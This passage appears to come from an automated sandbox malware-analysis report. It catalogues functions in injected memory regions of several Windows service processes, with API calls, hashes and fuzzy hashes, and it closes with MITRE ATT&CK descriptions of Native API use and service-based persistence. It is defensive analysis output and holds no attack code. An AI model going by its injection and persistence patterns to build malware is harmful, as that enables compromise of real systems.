CreateThread.KERNELBASE ref: 00BA5CD9
CloseHandle.KERNELBASE ref: 00BA5CDE
CreateThread.KERNELBASE ref: 00BA5D59

Memory Dump Source

Source File: 00000008.00000002.1487879422.0000000000BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_AppVClient.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 35b3871a8b989253918aef77bef8ab68e0abeab636c91a668db76c4b29011bbc
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: EFB0120042EF876500361330148852809C4FE47334D741FFE8FF3069D6E8000F04E320

Function 00BA5990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00BA5A54

Memory Dump Source

Source File: 00000008.00000002.1487879422.0000000000BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_AppVClient.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: ab899d7f07e3f469659f84f3bd09ffdecdfaae063b0e25d40b84c7248ec18b11
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: DA21EC3171DE888FD77A9318C4D17BA26E2F797324F5903DBD08ACB192D9284F059252

Function 00BA8245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BA830B

Memory Dump Source

Source File: 00000008.00000002.1487879422.0000000000BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction ID: c32f5a31e16a6dfb9f93a154269bacafa7350e8a96ed97dbd329ce46286c3290
Opcode Fuzzy Hash: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction Fuzzy Hash: 13F0283450DB82CFDA36979890A06BABBE0EF53700B5D00DAE48ACB913DE18CC01D792

Function 00BA83E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BA830B

Memory Dump Source

Source File: 00000008.00000002.1487879422.0000000000BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_AppVClient.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 6434ce945617b5eb4325c18668c8a5849310aaa1ab22f39f9f2932e65ff9d497
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 6EF0903450CB42DB8A35864494807762BE0EB63740B6C00D9D446CBD22DE28DC45E756

Function 00BA8318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BA830B
GetTokenInformation.KERNELBASE ref: 00BA8369

Memory Dump Source

Source File: 00000008.00000002.1487879422.0000000000BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_AppVClient.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 8f8efbee30ffe9c279532e85f219695513a96fffac046db4df84e06b3e075cd7
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 63F0903440D642DB8E358A5494806753BE0EF27750B6C00E9D446CB922DE28DC42E756

Analysis Process: FXSSVC.exePID: 6208, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	62
Total number of Limit Nodes:	4

Executed Functions

Function 00D581C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction ID: 7093422680350dc7fc020d89ffedec6c56aa7af654a626df04f1c8800177d4e3
Opcode Fuzzy Hash: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction Fuzzy Hash: 15B1253450DA458BDF29CB198480235BBA1FF95316F2C825ADCCBD7166DE24DC0AA376

Function 00D55B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D55D59

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: dc4d2a312ec93664d8cbf532feee96e63d0ee71c84ac31d7e19127ab6350ea35
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: 8541D121218F098FDF6B9728B43833927A0EB55313F5C01AB9C46CB1ADDA25CC0D8772

Function 00D55D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D55CD9
CloseHandle.KERNELBASE ref: 00D55CDE
CreateThread.KERNELBASE ref: 00D55D59

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: 5acecb74950936f96fcff4bb9b117a8ee087553d0dbd978d91df36f9afb4c24f
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: BAF02222628E0581CF2F8228B83833A63E1A789323F6C075FCC93C80DCDA65880D9235

Function 00D55D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00D55CD9
CloseHandle.KERNELBASE ref: 00D55CDE
CreateThread.KERNELBASE ref: 00D55D59

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 5894a7f1cdf2c7cf49e24487f896eda66aa5bc6170fb7fe84a6ed626044331af
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 58B09202039E8A550917523024281288A906A46236B781BAE9FB2068DAD800580C6730

Function 00D55990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00D55A54

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 29547a2a3a8cf2cfca7ba3a54b6fe2feeefb81eb456d539fc5bb5bcbc9006b85
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: 3C21C22155DE848BCF6B932874B127526A2F795326F5C038BDCC6C718AD928AD0C8672

Function 00D58245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D5830B

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction ID: d79698ff46a28215d83dff2471c20535a2bc92997ca1e575c9c6489b1f470d77
Opcode Fuzzy Hash: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction Fuzzy Hash: D1F0867450EA418BDE2A87149050439AFA0AF91713F5D009ADCC6DF112CE14DC0EF776

Function 00D583E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D5830B

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: cdcdeaf2648a5c1ec5c82fbb24d4d4af251a26e09ef9423f5f48cb5404e25b3b
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 44F06D7450EA419B9E258704844093A6F60AB51703F6C0059CC86EF122DE24DC0EF77A

Function 00D58318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00D5830B
GetTokenInformation.KERNELBASE ref: 00D58369

Memory Dump Source

Source File: 0000000A.00000002.1501343926.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d50000_FXSSVC.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 53fefd9949a90fd5595a123bb162487d4bda83066bf79c1f871cf0cb4c5903fd
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 04F06D7440EB419B9E258B14C4409356FA0AE61753F6C0469CC86EF122DE28DC0EFB76

Analysis Process: elevation_service.exePID: 2088, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	5

Executed Functions

Function 009981C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction ID: 39baefc33e140fcb93515faf968af9d8390162026be8828d2141562e5b2cc3d3
Opcode Fuzzy Hash: 8df0ac1401ce2cdb2d999bdf71bb41ab150bf242135a1906e3b3b3c900401258
Instruction Fuzzy Hash: F4B1263050DE458BDF29CB1D848123AB7A9FF97354F288A5DD4ABC7166DE28DC42C392

Function 00995B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: acc9c409bfed6f971381e37a24b597da9492e4a9f0360d1c688dd96e81bdce6a
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: 47411920608F098FDF6BAB2C945D33B36D8EB95311F5B096AD44BCB1E5FE288C458752

Function 00995D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995CD9
CloseHandle.KERNELBASE ref: 00995CDE
CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: e56561c007d774261732b7bccef2e4da0144bf46c666fb8970ae97739386d307
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 93F0F02061CE0586DF2F9B3C985933B62C9A799332F670F1ED097C90E4FA2889029309

Function 00995D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995CD9
CloseHandle.KERNELBASE ref: 00995CDE
CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 42431177af9be29fe9dc5de00db3a3f2557320f6d74cc522e1d840be51bc5390
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 64B01200028F86874C2F1F3C044812B098C2E46A359771F6C9FB7968E2E8042C446330

Function 00995990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00995A54

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 655c549b9f886a94e7d5be0656f95a1334282e8075c07f0bc5171c697869af75
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: F821D72051FE848FDF6B931C44953BB26A6B7A5324F9B07CBD086C7192C92C4D05D35E

Function 00998245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction ID: d94446af1396888a6581757143bab7780411ceaaf94c390b59d46c2bbfe0cd57
Opcode Fuzzy Hash: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction Fuzzy Hash: 67F0F43451DA518FCE66871D907153FEBA8AF83740B69049EE447CB512CE18DC01D352

Function 009983E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 60e192b49798a9d5bcc22fe71543ea4703616afd0ee9c71774501148c4b05738
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: E7F0903551CA418B9E75871C8461A3FA76CAB537C0B6C489DD467CB522CE28DC42E752

Function 00998318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B
GetTokenInformation.KERNELBASE ref: 00998369

Memory Dump Source

Source File: 0000000B.00000002.2724997570.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 550dec73259b7a6fbc7719f914cfce04594bfe56695529192cea12fb748e64cc
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: AAF0FA3151CA418B9EB58B0CC4A193BA7ACAF23780B3C48ACC447CB422CF2CDC42E752

Analysis Process: maintenanceservice.exePID: 6748, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	62
Total number of Limit Nodes:	4

Executed Functions

Function 01CD81C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 870371e8cd21e9591fa1d6ee57900f9ae47cd9ad1600244e50f9be7de23be927
Instruction ID: 5ef252d28290e333f489c45f555d12242d558eb438e86b72a606c04afefff139
Opcode Fuzzy Hash: 870371e8cd21e9591fa1d6ee57900f9ae47cd9ad1600244e50f9be7de23be927
Instruction Fuzzy Hash: D6B1693050DE45CBDB2ACF1E8885239BBE1FF95710F5C825EDA8B87166DA34DA02C352

Function 01CD5B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 01CD5D59

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: e247c548eaeea6e430a8624bf88735aaaf0c0aeaa4e38e5d31d111ebab7650c3
Instruction ID: 6b417935a9b41a32fb62da4c584f3458e2406edb327b900090a694644a724601
Opcode Fuzzy Hash: e247c548eaeea6e430a8624bf88735aaaf0c0aeaa4e38e5d31d111ebab7650c3
Instruction Fuzzy Hash: 4041EB20608A49CFEB69A73D855C7397AF1FBDD210F48026AD307CB1A1DF25C6068763

Function 01CD5D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 01CD5CD9
CloseHandle.KERNELBASE ref: 01CD5CDE
CreateThread.KERNELBASE ref: 01CD5D59

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: 7a01fb847ff0c7f8a507f1ba7a937afeac6999d30362234d2c6c939daaf9c33f
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 1FF0F02061C905C5EB2D923E895933A6AF1A7CE121F540B1FC327C90E4DA24C302826B

Function 01CD5D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 01CD5CD9
CloseHandle.KERNELBASE ref: 01CD5CDE
CreateThread.KERNELBASE ref: 01CD5D59

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: d140977b937e17936c038a2e61583b6d9368686551228498ffbc9ea4e58dae23
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: F9B0120002CE86C9012623390A085280DA42F8A0389B41F6ECF730A8F3DA00C5065332

Function 01CD5990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 01CD5A54

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 55c4ef07b3c7daa582b95ff0348beb4fb972d153a4fa8bb4fbac44325a4c7fd5
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: B021D52051DBA4CFE76B931D44D22B62AB2F796224F4801CBC38ECB192D928CB058253

Function 01CD8245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 01CD830B

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction ID: 54f2b6914cbadb423e6c8a09b9444386b36b6c330591eb97e4ac88488a2e7703
Opcode Fuzzy Hash: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction Fuzzy Hash: D5F0A42450DA91CFDA27971D985153A7FA0BF42610B49008ED78BCB563DA14DE02C793

Function 01CD83E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 01CD830B

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 5777869b74a08ada7c454437d8ce438aa8aee9a109765da203cf59f73a2a074a
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 85F0B43450C941CFD636870DD88163A7FA0BB42600B5C004DC74BCB523D624DB03C793

Function 01CD8318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 01CD830B
GetTokenInformation.KERNELBASE ref: 01CD8369

Memory Dump Source

Source File: 0000000C.00000002.1529174128.0000000001CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1cd0000_maintenanceservice.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 099160f95da016d724d8d824eba3df048db41df11003c99556ef766db8cd8051
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 89F0B43440DA41CBAA378B1DD8825367BA0BF02650B5C004DC74BCB123DA28DB02C763

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

